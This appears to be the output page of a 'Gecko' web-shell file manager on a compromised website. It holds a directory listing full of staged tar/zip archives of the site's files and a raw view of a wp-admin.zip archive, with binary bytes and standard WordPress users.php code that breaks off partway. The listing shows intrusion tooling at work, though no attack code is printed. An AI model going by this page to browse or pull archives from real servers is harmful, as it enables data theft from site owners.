Gecko [ blueversionx.com ]

Name	Size	Permission
css	[ DIR ]	drwx---r-x
fonts	[ DIR ]	drwx---r-x
images	[ DIR ]	drwx---r-x
js	[ DIR ]	drwx---r-x
.bash_logout.bash_logout.tar.g...	126 B	-rw-r--r--
.bash_logout.tar	2 KB	-rw-r--r--
.bash_profile.bash_profile.tar...	273 B	-rw-r--r--
.bash_profile.tar	2 KB	-rw-r--r--
.bashrc.bashrc.tar.gz	190 B	-rw-r--r--
.bashrc.tar	2 KB	-rw-r--r--
.ftpquota.ftpquota.tar.gz	135 B	-rw-r--r--
.ftpquota.tar	2 KB	-rw-r--r--
.hta.hta.tar.gz	3.15 KB	-rw-r--r--
.hta.tar	6 KB	-rw-r--r--
.htaccess.bak.htaccess.bak.tar...	428 B	-rw-r--r--
.htaccess.bak.tar	2.5 KB	-rw-r--r--
.htaccess.htaccess.tar.gz	194 B	-rw-r--r--
.htaccess.tar	41.5 KB	-rw-r--r--
.htaccess_10125.htaccess_10125...	1.93 KB	-rw-r--r--
.htaccess_10125.tar	6 KB	-rw-r--r--
.htaccess_2608.htaccess_2608.t...	1.83 KB	-rw-r--r--
.htaccess_2608.tar	5.5 KB	-rw-r--r--
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.htaccess_old.tar	9.5 KB	-rw-r--r--
.htaccess_old2.htaccess_old2.t...	1.81 KB	-rw-r--r--
.htaccess_old2.tar	5.5 KB	-rw-r--r--
.htaccessx.htaccessx.tar.gz	479 B	-rw-r--r--
.htaccessx.tar	2.5 KB	-rw-r--r--
.htaccessxx.htaccessxx.tar.gz	427 B	-rw-r--r--
.htaccessxx.tar	2.5 KB	-rw-r--r--
.mad-root	0 B	-rw-r--r--
.ovhconfig.ovhconfig.tar.gz	188 B	-rw-r--r--
.ovhconfig.tar	2 KB	-rw-r--r--
.tmb.tar	221 KB	-rw-r--r--
.tmb.tar.gz	41.33 KB	-rw-r--r--
.tmb.zip	201.6 KB	-rw-r--r--
.user.ini.tar	3 KB	-rw-r--r--
.user.ini.user.ini.tar.gz	220 B	-rw-r--r--
.well-known.tar	158.5 KB	-rw-r--r--
.well-known.tar.gz	69.8 KB	-rw-r--r--
.well-known.zip	152.89 KB	-rw-r--r--
----index.html.html.tar.gz	8.28 KB	-rw-r--r--
----index.html.tar	40 KB	-rw-r--r--
01.jpg.jpg.tar.gz	2.27 KB	-rw-r--r--
01.jpg.tar	4 KB	-rw-r--r--
10pourcent.zip	212.54 MB	-rw-r--r--
404.html.html.tar.gz	1.19 KB	-rw-r--r--
404.html.tar	5 KB	-rw-r--r--
888index.php.php.tar.gz	8.52 KB	-rw-r--r--
888index.php.tar	42.5 KB	-rw-r--r--
ANE_MOULIN.jpg.jpg.tar.gz	12.53 KB	-rw-r--r--
ANE_MOULIN.jpg.tar	14 KB	-rw-r--r--
Association.zip	6.54 KB	-rw-r--r--
CALES.jpg.jpg.tar.gz	13.84 KB	-rw-r--r--
CALES.jpg.tar	15.5 KB	-rw-r--r--
CONDITIONS.pdf.pdf.tar.gz	592.22 KB	-rw-r--r--
CONDITIONS.pdf.tar	753.5 KB	-rw-r--r--
Cache.zip	39.59 KB	-rw-r--r--
Demo.tar	17.37 MB	-rw-r--r--
Demo.tar.gz	16.59 MB	-rw-r--r--
Demo.zip	17.31 MB	-rw-r--r--
Diff.php.php.tar.gz	3.15 KB	-rw-r--r--
Diff.php.tar	14.5 KB	-rw-r--r--
Downloads.tar	868.5 KB	-rw-r--r--
Downloads.tar.gz	790.18 KB	-rw-r--r--
Downloads.zip	865.8 KB	-rw-r--r--
Filter.zip	41.03 KB	-rw-r--r--
FontAwesome.otf.otf.tar.gz	108.08 KB	-rw-r--r--
FontAwesome.otf.tar	133.5 KB	-rw-r--r--
HTTP.tar	13 KB	-rw-r--r--
HTTP.tar.gz	3.32 KB	-rw-r--r--
ID3.tar	1.12 MB	-rw-r--r--
ID3.tar.gz	233.46 KB	-rw-r--r--
ID3.zip	1.1 MB	-rw-r--r--
IXR.tar	43 KB	-rw-r--r--
IXR.tar.gz	7.69 KB	-rw-r--r--
IXR.zip	34.92 KB	-rw-r--r--
JEANJEAN.jpg.jpg.tar.gz	14.03 KB	-rw-r--r--
JEANJEAN.jpg.tar	15.5 KB	-rw-r--r--
LA.png.png.tar.gz	3.38 KB	-rw-r--r--
LA.png.tar	5 KB	-rw-r--r--
LICENSE.txt.tar	93.5 KB	-rw-r--r--
LICENSE.txt.txt.tar.gz	6.78 KB	-rw-r--r--
LOGO A LA MAZE ON 17 NOVEMBRE ...	1.36 MB	-rw-r--r--
LOGO A LA MAZE ON 17 NOVEMBRE ...	1.41 MB	-rw-r--r--
LOGO ARCEP 2.jpg.jpg.tar.gz	399.9 KB	-rw-r--r--
LOGO ARCEP 2.jpg.tar	1.38 MB	-rw-r--r--
LOGO ARCEP 2.psd.psd.tar.gz	3.66 MB	-rw-r--r--
LOGO ARCEP 2.psd.tar	9.75 MB	-rw-r--r--
Log.tar	45 KB	-rw-r--r--
Log.tar.gz	8.58 KB	-rw-r--r--
Log.zip	37.62 KB	-rw-r--r--
Net.tar	9 KB	-rw-r--r--
Net.tar.gz	2.68 KB	-rw-r--r--
PHPMailer.tar	227.5 KB	-rw-r--r--
PHPMailer.tar.gz	47.75 KB	-rw-r--r--
PHPMailer.zip	223.7 KB	-rw-r--r--
PTITE_FERME.png.png.tar.gz	70.39 KB	-rw-r--r--
PTITE_FERME.png.tar	73.5 KB	-rw-r--r--
PayPal.PNG.PNG.tar.gz	18.47 KB	-rw-r--r--
PayPal.PNG.tar	24 KB	-rw-r--r--
README.txt.tar	34 KB	-rw-r--r--
README.txt.txt.tar.gz	1.83 KB	-rw-r--r--
Requests.tar	427 KB	-rw-r--r--
Requests.tar.gz	30.97 KB	-rw-r--r--
Requests.zip	220.53 KB	-rw-r--r--
SimplePie.tar	474 KB	-rw-r--r--
SimplePie.tar.gz	77.41 KB	-rw-r--r--
SimplePie.zip	456.69 KB	-rw-r--r--
TF89388.tar	958.4 MB	-rw-r--r--
TF89388.tar.gz	20 B	-rw-r--r--
Tate-tuker-web.jpg.jpg.tar.gz	97.22 KB	-rw-r--r--
Tate-tuker-web.jpg.tar	101 KB	-rw-r--r--
Text.tar	63.5 KB	-rw-r--r--
Text.tar.gz	12.67 KB	-rw-r--r--
Text.zip	57.09 KB	-rw-r--r--
UA.png.png.tar.gz	3.24 KB	-rw-r--r--
UA.png.tar	5 KB	-rw-r--r--
XML.zip	7.11 KB	-rw-r--r--
_contact.html.html.tar.gz	4.61 KB	-rw-r--r--
_contact.html.tar	17.5 KB	-rw-r--r--
_index.html.html.tar.gz	8.52 KB	-rw-r--r--
_index.html.tar	40.5 KB	-rw-r--r--
ab1.jpg.jpg.tar.gz	19.2 KB	-rw-r--r--
ab1.jpg.tar	21 KB	-rw-r--r--
ab2.jpg.jpg.tar.gz	19.28 KB	-rw-r--r--
ab2.jpg.tar	21 KB	-rw-r--r--
about-blog.jpg.jpg.tar.gz	61 KB	-rw-r--r--
about-blog.jpg.tar	65.5 KB	-rw-r--r--
about-us.jpg.jpg.tar.gz	27.54 KB	-rw-r--r--
about-us.jpg.tar	31 KB	-rw-r--r--
about.html.html.tar.gz	3.86 KB	-rw-r--r--
about.html.tar	38.5 KB	-rw-r--r--
about.php.php.tar.gz	5.35 KB	-rw-r--r--
about.php.tar	80 KB	-rw-r--r--
actionlog.tar	40 KB	-rw-r--r--
actionlog.tar.gz	4.46 KB	-rw-r--r--
actionlog.zip	36.47 KB	-rw-r--r--
actionlogs.tar	18.5 KB	-rw-r--r--
actionlogs.tar.gz	1.25 KB	-rw-r--r--
actionlogs.zip	2.82 KB	-rw-r--r--
acymailing.tar	338.5 KB	-rw-r--r--
acymailing.tar.gz	48.94 KB	-rw-r--r--
acymailing.zip	308.85 KB	-rw-r--r--
admin-ajax.php.php.tar.gz	1.89 KB	-rw-r--r--
admin-ajax.php.tar	7 KB	-rw-r--r--
admin-bar.php.php.tar.gz	8.22 KB	-rw-r--r--
admin-bar.php.tar	38 KB	-rw-r--r--
admin-footer.php.php.tar.gz	1.14 KB	-rw-r--r--
admin-footer.php.tar	4.5 KB	-rw-r--r--
admin-functions.php.php.tar.gz	333 B	-rw-r--r--
admin-functions.php.tar	3 KB	-rw-r--r--
admin-get.php.php.tar.gz	980 B	-rw-r--r--
admin-get.php.tar	3.5 KB	-rw-r--r--
admin-header.php.php.tar.gz	2.97 KB	-rw-r--r--
admin-header.php.tar	30 KB	-rw-r--r--
admin-post.php.php.tar.gz	847 B	-rw-r--r--
admin-post.php.tar	4 KB	-rw-r--r--
admin.php.php.tar.gz	3.79 KB	-rw-r--r--
admin.php.tar	27 KB	-rw-r--r--
adminer.php	0 B	-rw-r--r--
administrator.tar	83.32 MB	-rw-r--r--
administrator.tar.gz	4.57 MB	-rw-r--r--
administrator.zip	41.74 MB	-rw-r--r--
afrikavio.jpg.jpg.tar.gz	300.69 KB	-rw-r--r--
afrikavio.jpg.tar	323.5 KB	-rw-r--r--
ai1wm-backups.tar	717.78 MB	-rw-r--r--
ai1wm-backups.tar.gz	20 B	-rw-r--r--
akismet.tar	258 KB	-rw-r--r--
akismet.tar.gz	67.37 KB	-rw-r--r--
akismet.zip	240.29 KB	-rw-r--r--
all.js.js.tar.gz	818 B	-rw-r--r--
all.js.tar	3.5 KB	-rw-r--r--
android-chrome-192x192.png.png...	5.04 KB	-rw-r--r--
android-chrome-192x192.png.tar	7 KB	-rw-r--r--
android-chrome-512x512.png.png...	18.64 KB	-rw-r--r--
android-chrome-512x512.png.tar	23.5 KB	-rw-r--r--
android-icon-144x144.png.png.t...	14.3 KB	-rw-r--r--
android-icon-144x144.png.tar	16 KB	-rw-r--r--
android-icon-192x192.png.png.t...	19.65 KB	-rw-r--r--
android-icon-192x192.png.tar	21.5 KB	-rw-r--r--
android-icon-36x36.png.png.tar...	2.67 KB	-rw-r--r--
android-icon-36x36.png.tar	4.5 KB	-rw-r--r--
android-icon-48x48.png.png.tar...	3.76 KB	-rw-r--r--
android-icon-48x48.png.tar	5.5 KB	-rw-r--r--
android-icon-72x72.png.png.tar...	5.93 KB	-rw-r--r--
android-icon-72x72.png.tar	7.5 KB	-rw-r--r--
android-icon-96x96.png.png.tar...	8.36 KB	-rw-r--r--
android-icon-96x96.png.tar	10 KB	-rw-r--r--
android.png.png.tar.gz	2.47 KB	-rw-r--r--
android.png.tar	4 KB	-rw-r--r--
angular-icon.svg.svg.tar.gz	559 B	-rw-r--r--
angular-icon.svg.tar	2.5 KB	-rw-r--r--
angular.png.png.tar.gz	10.65 KB	-rw-r--r--
angular.png.tar	13 KB	-rw-r--r--
api.tar	383.5 KB	-rw-r--r--
api.tar.gz	77.41 KB	-rw-r--r--
api.zip	345.17 KB	-rw-r--r--
app.js.js.tar.gz	501 B	-rw-r--r--
app.js.tar	2.5 KB	-rw-r--r--
app.php.php.tar.gz	1.05 KB	-rw-r--r--
app.php.tar	4 KB	-rw-r--r--
app.tar	199 KB	-rw-r--r--
app.tar.gz	34.34 KB	-rw-r--r--
app.zip	171.56 KB	-rw-r--r--
apple-icon-114x114.png.png.tar...	10.47 KB	-rw-r--r--
apple-icon-114x114.png.tar	12 KB	-rw-r--r--
apple-icon-144x144.png.png.tar...	14.3 KB	-rw-r--r--
apple-icon-144x144.png.tar	16 KB	-rw-r--r--
apple-icon-152x152.png.png.tar...	15.31 KB	-rw-r--r--
apple-icon-152x152.png.tar	17 KB	-rw-r--r--
apple-icon-180x180.png.png.tar...	19.25 KB	-rw-r--r--
apple-icon-180x180.png.tar	21 KB	-rw-r--r--
apple-icon-57x57.png.png.tar.g...	4.53 KB	-rw-r--r--
apple-icon-57x57.png.tar	6 KB	-rw-r--r--
apple-icon-60x60.png.png.tar.g...	4.77 KB	-rw-r--r--
apple-icon-60x60.png.tar	6.5 KB	-rw-r--r--
apple-icon-76x76.png.png.tar.g...	6.29 KB	-rw-r--r--
apple-icon-76x76.png.tar	8 KB	-rw-r--r--
apple-icon-precomposed.png.png...	20.06 KB	-rw-r--r--
apple-icon-precomposed.png.tar	22 KB	-rw-r--r--
apple-touch-icon.png.png.tar.g...	3.99 KB	-rw-r--r--
apple-touch-icon.png.tar	11 KB	-rw-r--r--
apple.png.png.tar.gz	3.5 KB	-rw-r--r--
apple.png.tar	5.5 KB	-rw-r--r--
apps.tar	266 KB	-rw-r--r--
apps.tar.gz	223.94 KB	-rw-r--r--
apps.zip	251.66 KB	-rw-r--r--
archives.tar	11 KB	-rw-r--r--
archives.tar.gz	826 B	-rw-r--r--
archives.zip	2.92 KB	-rw-r--r--
assets.tar	151.49 MB	-rw-r--r--
assets.tar.gz	101.02 MB	-rw-r--r--
assets.zip	88.82 MB	-rw-r--r--
async-upload.php.php.tar.gz	1.96 KB	-rw-r--r--
async-upload.php.tar	12 KB	-rw-r--r--
atomlib.php.php.tar.gz	3.27 KB	-rw-r--r--
atomlib.php.tar	13.5 KB	-rw-r--r--
attachments.tar	2 KB	-rw-r--r--
attachments.tar.gz	124 B	-rw-r--r--
audio.tar	707.5 KB	-rw-r--r--
audio.tar.gz	674.05 KB	-rw-r--r--
authentication.tar	51 KB	-rw-r--r--
authentication.tar.gz	8.78 KB	-rw-r--r--
authentication.zip	40.29 KB	-rw-r--r--
authorize-application.php.php....	3.16 KB	-rw-r--r--
authorize-application.php.tar	12 KB	-rw-r--r--
avatar.zip	3.48 KB	-rw-r--r--
banners.tar	35 KB	-rw-r--r--
banners.tar.gz	29.58 KB	-rw-r--r--
banners.zip	31.48 KB	-rw-r--r--
beez3.tar	630.5 KB	-rw-r--r--
beez3.tar.gz	264.69 KB	-rw-r--r--
beez3.zip	535.04 KB	-rw-r--r--
bg-testinomial.jpg.jpg.tar.gz	461.34 KB	-rw-r--r--
bg-testinomial.jpg.tar	927 KB	-rw-r--r--
bg.jpg.jpg.tar.gz	110.06 KB	-rw-r--r--
bg.jpg.tar	112 KB	-rw-r--r--
bg1.jpg.jpg.tar.gz	150.09 KB	-rw-r--r--
bg1.jpg.tar	152 KB	-rw-r--r--
bg2.jpg.jpg.tar.gz	124.53 KB	-rw-r--r--
bg2.jpg.tar	127.5 KB	-rw-r--r--
bg3.jpg.jpg.tar.gz	669.84 KB	-rw-r--r--
bg3.jpg.tar	711 KB	-rw-r--r--
bg4.jpg.jpg.tar.gz	139.9 KB	-rw-r--r--
bg4.jpg.tar	142 KB	-rw-r--r--
bg5.jpg.jpg.tar.gz	192.52 KB	-rw-r--r--
bg5.jpg.tar	194.5 KB	-rw-r--r--
bighearts-child.tar	1.38 MB	-rw-r--r--
bighearts-child.tar.gz	1.37 MB	-rw-r--r--
bighearts-child.zip	1.37 MB	-rw-r--r--
bighearts.zip	34.41 MB	-rw-r--r--
bin.tar	107.5 KB	-rw-r--r--
bin.tar.gz	27.21 KB	-rw-r--r--
bin.zip	100.81 KB	-rw-r--r--
bizone.tar	4.88 MB	-rw-r--r--
bizone.tar.gz	1.62 MB	-rw-r--r--
bizone.zip	4.8 MB	-rw-r--r--
block-bindings.php.php.tar.gz	1.74 KB	-rw-r--r--
block-bindings.php.tar	7 KB	-rw-r--r--
block-bindings.tar	6 KB	-rw-r--r--
block-bindings.tar.gz	1.1 KB	-rw-r--r--
block-bindings.zip	3.83 KB	-rw-r--r--
block-editor.php.php.tar.gz	6.39 KB	-rw-r--r--
block-editor.php.tar	29.5 KB	-rw-r--r--
block-i18n.json.json.tar.gz	257 B	-rw-r--r--
block-i18n.json.tar	3 KB	-rw-r--r--
block-patterns.php.php.tar.gz	3.16 KB	-rw-r--r--
block-patterns.php.tar	14.5 KB	-rw-r--r--
block-patterns.tar	39.5 KB	-rw-r--r--
block-patterns.tar.gz	3.96 KB	-rw-r--r--
block-patterns.zip	28.32 KB	-rw-r--r--
block-supports.tar	145 KB	-rw-r--r--
block-supports.tar.gz	26.36 KB	-rw-r--r--
block-supports.zip	131.98 KB	-rw-r--r--
block-template-utils.php.php.t...	11.88 KB	-rw-r--r--
block-template-utils.php.tar	57 KB	-rw-r--r--
block-template.php.php.tar.gz	4.16 KB	-rw-r--r--
block-template.php.tar	14 KB	-rw-r--r--
blocks.php.php.tar.gz	4 KB	-rw-r--r--
blocks.php.tar	113 KB	-rw-r--r--
blocks.tar	1.96 MB	-rw-r--r--
blocks.tar.gz	235.75 KB	-rw-r--r--
blocks.zip	1.54 MB	-rw-r--r--
blog.html.html.tar.gz	2.52 KB	-rw-r--r--
blog.html.tar	13.5 KB	-rw-r--r--
blog.tar	5.77 MB	-rw-r--r--
blog.tar.gz	4.87 MB	-rw-r--r--
blog.zip	5.71 MB	-rw-r--r--
blueversiontg.tar	89.5 KB	-rw-r--r--
blueversiontg.tar.gz	26.37 KB	-rw-r--r--
blueversiontg.zip	85.9 KB	-rw-r--r--
bookmark-template.php.php.tar....	3.3 KB	-rw-r--r--
bookmark-template.php.tar	14.5 KB	-rw-r--r--
bookmark.php.php.tar.gz	4.24 KB	-rw-r--r--
bookmark.php.tar	17 KB	-rw-r--r--
bootstrap.min.js.min.js.tar.gz	15.19 KB	-rw-r--r--
bootstrap.min.js.tar	58.5 KB	-rw-r--r--
bootstrap.tar	535 KB	-rw-r--r--
bootstrap.tar.gz	90.49 KB	-rw-r--r--
bootstrap.zip	530.83 KB	-rw-r--r--
browserconfig.xml.tar	2 KB	-rw-r--r--
browserconfig.xml.xml.tar.gz	264 B	-rw-r--r--
button.zip	15.31 KB	-rw-r--r--
buttons.tar	19 KB	-rw-r--r--
buttons.tar.gz	1.45 KB	-rw-r--r--
bv_connector_a3384bc41af663dc2...	5.65 KB	-rw-r--r--
bv_connector_a3384bc41af663dc2...	20.5 KB	-rw-r--r--
c1.jpg.jpg.tar.gz	19.79 KB	-rw-r--r--
c1.jpg.tar	21.5 KB	-rw-r--r--
c2.jpg.jpg.tar.gz	18.15 KB	-rw-r--r--
c2.jpg.tar	20 KB	-rw-r--r--
c3.jpg.jpg.tar.gz	3.26 KB	-rw-r--r--
c3.jpg.tar	5 KB	-rw-r--r--
cache-compat.php.php.tar.gz	1.43 KB	-rw-r--r--
cache-compat.php.tar	7.5 KB	-rw-r--r--
cache.php.php.tar.gz	2.6 KB	-rw-r--r--
cache.php.tar	15 KB	-rw-r--r--
cache.tar	84 KB	-rw-r--r--
cache.tar.gz	24.89 KB	-rw-r--r--
cache.zip	11.15 MB	-rw-r--r--
calendar.zip	4.4 KB	-rw-r--r--
call-to-action-bg-2.jpg.jpg.ta...	68.28 KB	-rw-r--r--
call-to-action-bg-2.jpg.tar	88 KB	-rw-r--r--
call-to-action-bg-20.jpg.jpg.t...	150.06 KB	-rw-r--r--
call-to-action-bg-20.jpg.tar	169.5 KB	-rw-r--r--
call-to-action-bg-222.jpg.jpg....	855.71 KB	-rw-r--r--
call-to-action-bg-222.jpg.tar	873 KB	-rw-r--r--
call-to-action-bg.jpg.jpg.tar....	14.97 KB	-rw-r--r--
call-to-action-bg.jpg.tar	23.5 KB	-rw-r--r--
call-to-action.tar	1.57 MB	-rw-r--r--
call-to-action.tar.gz	1.51 MB	-rw-r--r--
capabilities.php.php.tar.gz	7.1 KB	-rw-r--r--
capabilities.php.tar	83.5 KB	-rw-r--r--
captcha.tar	26 KB	-rw-r--r--
captcha.tar.gz	5.67 KB	-rw-r--r--
captcha.zip	17.58 KB	-rw-r--r--
carapattes.jpg.jpg.tar.gz	184.61 KB	-rw-r--r--
carapattes.jpg.tar	200.5 KB	-rw-r--r--
carousel.less.less.tar.gz	985 B	-rw-r--r--
carousel.less.tar	10 KB	-rw-r--r--
category-template.php.php.tar....	13 KB	-rw-r--r--
category-template.php.tar	57.5 KB	-rw-r--r--
category.php.php.tar.gz	3.54 KB	-rw-r--r--
category.php.tar	41.5 KB	-rw-r--r--
certificates.tar	229.5 KB	-rw-r--r--
certificates.tar.gz	127.51 KB	-rw-r--r--
certificates.zip	227.92 KB	-rw-r--r--
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Code Editor : wp-admin.zip

PK�������!�"���G���G��	��users.phpnu��[�����������<?php
/**
 * User administration panel
 *
 * @package WordPress
 * @subpackage Administration
 * @since 1.0.0
 */

/** WordPress Administration Bootstrap */
require_once( dirname( __FILE__ ) . '/admin.php' );

if ( ! current_user_can( 'list_users' ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to list users.' ) . '</p>',
		403
	);
}

$wp_list_table = _get_list_table('WP_Users_List_Table');
$pagenum = $wp_list_table->get_pagenum();
$title = __('Users');
$parent_file = 'users.php';

add_screen_option( 'per_page' );

// contextual help - choose Help on the top right of admin panel to preview this.
get_current_screen()->add_help_tab( array(
	'id'      => 'overview',
	'title'   => __('Overview'),
	'content' => '<p>' . __('This screen lists all the existing users for your site. Each user has one of five defined roles as set by the site admin: Site Administrator, Editor, Author, Contributor, or Subscriber. Users with roles other than Administrator will see fewer options in the dashboard navigation when they are logged in, based on their role.') . '</p>' .
				 '<p>' . __('To add a new user for your site, click the Add New button at the top of the screen or Add New in the Users menu section.') . '</p>'
) ) ;

get_current_screen()->add_help_tab( array(
	'id'      => 'screen-content',
	'title'   => __('Screen Content'),
	'content' => '<p>' . __('You can customize the display of this screen in a number of ways:') . '</p>' .
					'<ul>' .
					'<li>' . __('You can hide/display columns based on your needs and decide how many users to list per screen using the Screen Options tab.') . '</li>' .
					'<li>' . __( 'You can filter the list of users by User Role using the text links above the users list to show All, Administrator, Editor, Author, Contributor, or Subscriber. The default view is to show all users. Unused User Roles are not listed.' ) . '</li>' .
					'<li>' . __('You can view all posts made by a user by clicking on the number under the Posts column.') . '</li>' .
					'</ul>'
) );

$help = '<p>' . __('Hovering over a row in the users list will display action links that allow you to manage users. You can perform the following actions:') . '</p>' .
	'<ul>' .
	'<li>' . __('<strong>Edit</strong> takes you to the editable profile screen for that user. You can also reach that screen by clicking on the username.') . '</li>';

if ( is_multisite() )
	$help .= '<li>' . __( '<strong>Remove</strong> allows you to remove a user from your site. It does not delete their content. You can also remove multiple users at once by using Bulk Actions.' ) . '</li>';
else
	$help .= '<li>' . __( '<strong>Delete</strong> brings you to the Delete Users screen for confirmation, where you can permanently remove a user from your site and delete their content. You can also delete multiple users at once by using Bulk Actions.' ) . '</li>';

$help .= '</ul>';

get_current_screen()->add_help_tab( array(
	'id'      => 'action-links',
	'title'   => __('Available Actions'),
	'content' => $help,
) );
unset( $help );

get_current_screen()->set_help_sidebar(
    '<p><strong>' . __('For more information:') . '</strong></p>' .
    '<p>' . __('<a href="https://codex.wordpress.org/Users_Screen">Documentation on Managing Users</a>') . '</p>' .
    '<p>' . __('<a href="https://codex.wordpress.org/Roles_and_Capabilities">Descriptions of Roles and Capabilities</a>') . '</p>' .
    '<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
);

get_current_screen()->set_screen_reader_content( array(
	'heading_views'      => __( 'Filter users list' ),
	'heading_pagination' => __( 'Users list navigation' ),
	'heading_list'       => __( 'Users list' ),
) );

if ( empty($_REQUEST) ) {
	$referer = '<input type="hidden" name="wp_http_referer" value="'. esc_attr( wp_unslash( $_SERVER['REQUEST_URI'] ) ) . '" />';
} elseif ( isset($_REQUEST['wp_http_referer']) ) {
	$redirect = remove_query_arg(array('wp_http_referer', 'updated', 'delete_count'), wp_unslash( $_REQUEST['wp_http_referer'] ) );
	$referer = '<input type="hidden" name="wp_http_referer" value="' . esc_attr($redirect) . '" />';
} else {
	$redirect = 'users.php';
	$referer = '';
}

$update = '';

switch ( $wp_list_table->current_action() ) {

/* Bulk Dropdown menu Role changes */
case 'promote':
	check_admin_referer('bulk-users');

if ( ! current_user_can( 'promote_users' ) )
		wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 );

if ( empty($_REQUEST['users']) ) {
		wp_redirect($redirect);
		exit();
	}

$editable_roles = get_editable_roles();
	$role = false;
	if ( ! empty( $_REQUEST['new_role2'] ) ) {
		$role = $_REQUEST['new_role2'];
	} elseif ( ! empty( $_REQUEST['new_role'] ) ) {
		$role = $_REQUEST['new_role'];
	}

if ( ! $role || empty( $editable_roles[ $role ] ) ) {
		wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
	}

$userids = $_REQUEST['users'];
	$update = 'promote';
	foreach ( $userids as $id ) {
		$id = (int) $id;

if ( ! current_user_can('promote_user', $id) )
			wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 );
		// The new role of the current user must also have the promote_users cap or be a multisite super admin
		if ( $id == $current_user->ID && ! $wp_roles->role_objects[ $role ]->has_cap('promote_users')
			&& ! ( is_multisite() && current_user_can( 'manage_network_users' ) ) ) {
				$update = 'err_admin_role';
				continue;
		}

// If the user doesn't already belong to the blog, bail.
		if ( is_multisite() && !is_user_member_of_blog( $id ) ) {
			wp_die(
				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
				'<p>' . __( 'One of the selected users is not a member of this site.' ) . '</p>',
				403
			);
		}

$user = get_userdata( $id );
		$user->set_role( $role );
	}

wp_redirect(add_query_arg('update', $update, $redirect));
	exit();

case 'dodelete':
	if ( is_multisite() )
		wp_die( __('User deletion is not allowed from this screen.'), 400 );

check_admin_referer('delete-users');

if ( empty($_REQUEST['users']) ) {
		wp_redirect($redirect);
		exit();
	}

$userids = array_map( 'intval', (array) $_REQUEST['users'] );

if ( empty( $_REQUEST['delete_option'] ) ) {
		$url = self_admin_url( 'users.php?action=delete&users[]=' . implode( '&users[]=', $userids ) . '&error=true' );
		$url = str_replace( '&amp;', '&', wp_nonce_url( $url, 'bulk-users' ) );
		wp_redirect( $url );
		exit;
	}

if ( ! current_user_can( 'delete_users' ) )
		wp_die( __( 'Sorry, you are not allowed to delete users.' ), 403 );

$update = 'del';
	$delete_count = 0;

foreach ( $userids as $id ) {
		if ( ! current_user_can( 'delete_user', $id ) )
			wp_die( __( 'Sorry, you are not allowed to delete that user.' ), 403 );

if ( $id == $current_user->ID ) {
			$update = 'err_admin_del';
			continue;
		}
		switch ( $_REQUEST['delete_option'] ) {
		case 'delete':
			wp_delete_user( $id );
			break;
		case 'reassign':
			wp_delete_user( $id, $_REQUEST['reassign_user'] );
			break;
		}
		++$delete_count;
	}

$redirect = add_query_arg( array('delete_count' => $delete_count, 'update' => $update), $redirect);
	wp_redirect($redirect);
	exit();

case 'delete':
	if ( is_multisite() )
		wp_die( __('User deletion is not allowed from this screen.'), 400 );

check_admin_referer('bulk-users');

if ( empty($_REQUEST['users']) && empty($_REQUEST['user']) ) {
		wp_redirect($redirect);
		exit();
	}

if ( ! current_user_can( 'delete_users' ) )
		$errors = new WP_Error( 'edit_users', __( 'Sorry, you are not allowed to delete users.' ) );

if ( empty($_REQUEST['users']) )
		$userids = array( intval( $_REQUEST['user'] ) );
	else
		$userids = array_map( 'intval', (array) $_REQUEST['users'] );

$users_have_content = false;
	if ( $wpdb->get_var( "SELECT ID FROM {$wpdb->posts} WHERE post_author IN( " . implode( ',', $userids ) . " ) LIMIT 1" ) ) {
		$users_have_content = true;
	} elseif ( $wpdb->get_var( "SELECT link_id FROM {$wpdb->links} WHERE link_owner IN( " . implode( ',', $userids ) . " ) LIMIT 1" ) ) {
		$users_have_content = true;
	}

if ( $users_have_content ) {
		add_action( 'admin_head', 'delete_users_add_js' );
	}

include( ABSPATH . 'wp-admin/admin-header.php' );
?>
<form method="post" name="updateusers" id="updateusers">
<?php wp_nonce_field('delete-users') ?>
<?php echo $referer; ?>

<?php if ( 1 == count( $userids ) ) : ?>
	<p><?php _e( 'You have specified this user for deletion:' ); ?></p>
<?php else : ?>
	<p><?php _e( 'You have specified these users for deletion:' ); ?></p>
<?php endif; ?>

<ul>
<?php
	$go_delete = 0;
	foreach ( $userids as $id ) {
		$user = get_userdata( $id );
		if ( $id == $current_user->ID ) {
			/* translators: 1: user id, 2: user login */
			echo "<li>" . sprintf(__('ID #%1$s: %2$s <strong>The current user will not be deleted.</strong>'), $id, $user->user_login) . "</li>\n";
		} else {
			/* translators: 1: user id, 2: user login */
			echo "<li><input type=\"hidden\" name=\"users[]\" value=\"" . esc_attr($id) . "\" />" . sprintf(__('ID #%1$s: %2$s'), $id, $user->user_login) . "</li>\n";
			$go_delete++;
		}
	}
	?>
	</ul>
<?php if ( $go_delete ) :

if ( ! $users_have_content ) : ?>
		<input type="hidden" name="delete_option" value="delete" />
	<?php else: ?>
		<?php if ( 1 == $go_delete ) : ?>
			<fieldset><p><legend><?php _e( 'What should be done with content owned by this user?' ); ?></legend></p>
		<?php else : ?>
			<fieldset><p><legend><?php _e( 'What should be done with content owned by these users?' ); ?></legend></p>
		<?php endif; ?>
		<ul style="list-style:none;">
			<li><label><input type="radio" id="delete_option0" name="delete_option" value="delete" />
			<?php _e('Delete all content.'); ?></label></li>
			<li><input type="radio" id="delete_option1" name="delete_option" value="reassign" />
			<?php echo '<label for="delete_option1">' . __( 'Attribute all content to:' ) . '</label> ';
			wp_dropdown_users( array(
				'name' => 'reassign_user',
				'exclude' => array_diff( $userids, array( $current_user->ID ) ),
				'show' => 'display_name_with_login',
			) ); ?></li>
		</ul></fieldset>
	<?php endif;
	/**
	 * Fires at the end of the delete users form prior to the confirm button.
	 *
	 * @since 4.0.0
	 * @since 4.5.0 The `$userids` parameter was added.
	 *
	 * @param WP_User $current_user WP_User object for the current user.
	 * @param array   $userids      Array of IDs for users being deleted.
	 */
	do_action( 'delete_user_form', $current_user, $userids );
	?>
	<input type="hidden" name="action" value="dodelete" />
	<?php submit_button( __('Confirm Deletion'), 'primary' ); ?>
<?php else : ?>
	<p><?php _e('There are no valid users selected for deletion.'); ?></p>
<?php endif; ?>
</div>
</form>
<?php

break;

case 'doremove':
	check_admin_referer('remove-users');

if ( ! is_multisite() )
		wp_die( __( 'You can&#8217;t remove users.' ), 400 );

